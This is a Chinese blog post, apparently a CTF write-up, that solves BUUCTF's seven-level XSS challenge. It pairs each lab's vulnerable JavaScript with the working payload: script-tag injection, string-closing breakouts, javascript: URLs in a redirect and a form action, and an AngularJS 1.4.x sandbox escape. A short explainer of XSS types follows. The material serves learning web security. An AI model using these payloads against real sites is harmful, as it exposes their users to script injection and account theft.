BUUCTF--[第二章 web进阶]XSS闯关

这次的主要内容是来自BUUCTF上的XSS闯关(附靶场链接:https://buuoj.cn/

一、解题思路

首先我们启动靶机进入靶场链接,优先查看使用说明。

这个靶场属于闯关模式,只有通过所有关卡最终才能拿到flag。

1.第一关

看到这个url,二话不说直接<script>alert(1)</script>,直接成功了。

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level1?username=<script>alert(1)</script>

2.第二关

到了第二关,还是先使用第一关的套路,但是页面上并没有回显,所以我选择查看源代码。

我发现源码中存在一个js代码编写的过滤代码,username被函数escape进行url编码

 <script type="text/javascript"> if(location.search == ""){ location.search = "?username=xss" //若是没有查询参数,就恢复默认值 } var username = 'xss'; //声明了一个变量username,并且把查询参数赋值给它(若是存在查询参数) document.getElementById('ccc').innerHTML= "Welcome " + escape(username); </script> 

所以我们在这里只需要绕过赋值的代码

var username = 'xss'; 

使用 '; 闭合前边的 ' 让这个语句结束,再加上alert(1);,并且在后边使用 ' 闭合后边的单引号

http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level2?username=';alert(1);'

3.第三关

上来还是优先老套路,发现页面上还是没有任何回显,看源代码也是没有任何发现。

所以试试上关使用的方法,在页面上依旧没有任何回显,但是在源代码发现输入的查询参数中多了一个 / 和 ' 。

那我们需要想办法绕过这个,所以我们再第二关的方法上进行改造绕过,如下:

'';alert(1);'
http://ecf8eab1-d6c6-4579-bf2e-bc87be7d4199.node5.buuoj.cn:81/level3?username='';alert(1);'

4.第四关​

进入第四关之后我们发现当前页面一直在死循环,所以只能查看源代码

分析如下js代码(代码后有注释)

<script type="text/javascript"> var time = 10; //倒计时初始值 var jumpUrl; //存储跳转目标url if(getQueryVariable('jumpUrl') == false){ jumpUrl = location.href; //没有查询参数的时候跳转本页 }else{ jumpUrl = getQueryVariable('jumpUrl'); //调用查询参数 } setTimeout(jump,1000,time); //1秒后启动倒计时 function jump(time){ if(time == 0){ location.href = jumpUrl; //倒计时结束跳转 }else{ time = time - 1 ; //秒数递减1 document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`; //更新提示 setTimeout(jump,1000,time); //递归调用 } } function getQueryVariable(variable) { var query = window.location.search.substring(1); //获取查询参数 var vars = query.split("&"); //分割成键值对数组 for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); //分割键值 if(pair[0] == variable) { return pair[1];} //返回匹配值 } return(false); //没有找到查询参数就返回false } </script>

根据分析我们得知,代码中使用jumpUrl作为跳转目标url,所以我们可以使用javascript伪链接

浏览器就会在当前页面把javascript后边的内容直接当作代码执行。

jumpUrl=javascript:alert(1) 
http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level4?jumpUrl=javascript:alert(1)

5.第五关

进入第五关之后,我们发现页面中只存在一个查询表单,无论我们输入什么都会有报错的回显

我们直接查看源代码

分析如下js代码(后边附注释)

<script type="text/javascript"> if(getQueryVariable('autosubmit') !== false){ var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //动态设置表单目标地址 autoForm.submit(); //触发表单提交 }else{ } function getQueryVariable(variable) //下边的代码跟上一关的下半部分一样 { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i<vars.length;i++) { var pair = vars[i].split("="); if(pair[0] == variable){return pair[1];} } return(false); } </script>

查看源代码之后,我们发现代码中定义了两个变量,所以我们直需要绕过这两个变量即可

url如下

http://a0c035b8-3968-49d7-8927-7a019a39a9b2.node5.buuoj.cn:81/level5?autosubmit=1&action=JavaScript:alert(1);//

6.第六关

进入第六关之后我优先尝试了一下老套路,发现输入的参数被直接打印在页面上

所以我直接查看源代码

发现如下js代码

 <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>

我点开这个网址发现页面上是一长串代码

这时候需要特别注意url,我也是后边才了解的知识

这里的话存在XSS模板注入(AngularJS客户端模板注入-Angular JS沙箱逃逸)

我们首先可以使用{{7*7}}payload验证是否存在,如下,页面直接打印出7*7的结果,所以是存在XSS漏洞的


Angular(版本号v1.4.0-v1.4.9)沙箱逃逸,payload如下

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

7.第七关

直接拿到flag

二、XSS漏洞介绍

1.XSS简介

跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆 故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的Script 代码会被执行,从而达到恶意攻击用户的目的。

2.XSS分类

(1)反射型XSS

攻击方式:攻击者通过钓鱼链接等方式诱导用户点击恶意url,当目标用户点击该url时,向对应的服务器发送请求,然后服务器将带有恶意代码的数据发送给目标用户的浏览器,浏览器解析服务器返回的代码,此前攻击者注入的恶意代码就会执行。

(2)存储型XSS

攻击方式:攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。攻击者发布的帖子会被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM型XSS

攻击方式:攻击者诱导用户点击恶意链接url:xxxxxxxxx.com/?xxx=<script>恶意代码</script>,然后客户端执行相关攻击代码,发送相关信息or相关操作。



DOM型与服务器没有关系,不需要与服务器进行交互,攻击纯粹发生在客户端。

Read more

百度天气:空气质量WebGIS可视化的创新实践 —— 以湖南省为例

百度天气:空气质量WebGIS可视化的创新实践 —— 以湖南省为例

目录 前言 一、空气质量展示需求 1、满城火辣味周末 2、空气质量状况 二、WebGIS展示百度天气 1、关于空气质量等级 2、数据查询实现 3、Leaflet集成百度空气质量 三、成果展示 1、整体展示 2、中、重污染地区 3、低、优质地区 4、污染严重前10区县 5、质量优前10区县 四、总结 前言         在当今数字化时代,地理信息系统(GIS)技术与网络技术的深度融合,催生了 WebGIS 这一强大的信息展示与分析平台。它能够将复杂的空间数据以直观、交互的方式呈现给用户,极大地提高了信息的可理解性和可用性。空气质量作为与人们生活息息相关的重要环境指标,其数据的可视化呈现对于公众健康、环境管理和决策支持都具有极为重要的意义。基于百度天气开展空气质量 WebGIS 可视化实践,正是这一领域创新探索的生动体现。

踩坑与成长:WordPress、MyBatis-Plus 及前端依赖问题解决记录

踩坑与成长:WordPress、MyBatis-Plus 及前端依赖问题解决记录

目录 * WordPress中要点,域和托管 * 域名 * 托管 * 添加新页面 * 添加新文章 * 安装方式 * 1. 接口清单(API Design) * 2. Controller 层实现 * 3. Service 层实现 * 4. Mapper 层(MyBatis-Plus) * (1) 好友关系实体 * (2) Mapper接口 * 5. 统一返回结构 * 6. 接口测试示例 * **(1) 添加好友** * **(2) 查询好友列表** * **关键设计说明** * **扩展建议** * 为什么需要为数据库的 email 字段建立索引 * 1. 提高查询性能 * 2. 保证数据唯一性(当需要时) * 3. 支持高级查询特性 * 注意事项 * 实际应用示例 * 关于前端使用openapi报错原因 * 解决方案

如何让多个AI进行对话

如何让多个AI进行对话

我发现了AI聊天的新玩法:让多个AI角色自己开"圆桌会议" 作为一个AI爱好者,我最近发现了一个特别有意思的工具——TAF-ChatUltra。它彻底改变了我对AI对话的认知。以前,我们只能和单个AI聊天,现在,我可以创建多个AI角色,让他们在聊天室里自己讨论,而我只需要在一旁"围观",偶尔发个引导消息,就像导演一样掌控全局。 项目地址: https://github.com/TAF-Playground/TAF-ChatUltra 停止后,输入引导消息 根据引导消息,拉回新的主题 第一次体验:看两个AI大佬"辩论" 刚打开这个工具,我就被它的界面吸引了。现代化的设计风格,卡片式布局,看起来非常舒服。系统已经贴心地为我准备了一个演示聊天室——“AI未来展望”,里面有两个预设角色:TechMaster(技术大佬)和AIGuru(AI大佬)。 我点击了"启动&

OpenClaw 自定义 Skill 开发实战:从零搭建 AI 自动化办公工具

OpenClaw 自定义 Skill 开发实战:从零搭建 AI 自动化办公工具

OpenClaw 作为开源 AI 智能体的代表,其核心竞争力在于「可扩展性」——通过自定义 Skill(技能),开发者可以让 OpenClaw 适配自身需求,实现从“通用工具”到“专属数字员工”的转变。无论是批量处理 Excel 数据、自动生成工作报告,还是跨平台同步文件,都能通过自定义 Skill 实现。 本文将从实战角度出发,手把手教大家开发一款「Excel 数据批量处理 Skill」,涵盖 OpenClaw Skill 的核心开发流程、代码编写、调试部署全步骤,所有代码均可直接复制运行,适合 AI 开发者、办公自动化爱好者快速上手。 前置要求:掌握 Python 基础(面向对象编程)、了解 OpenClaw 基本架构(网关、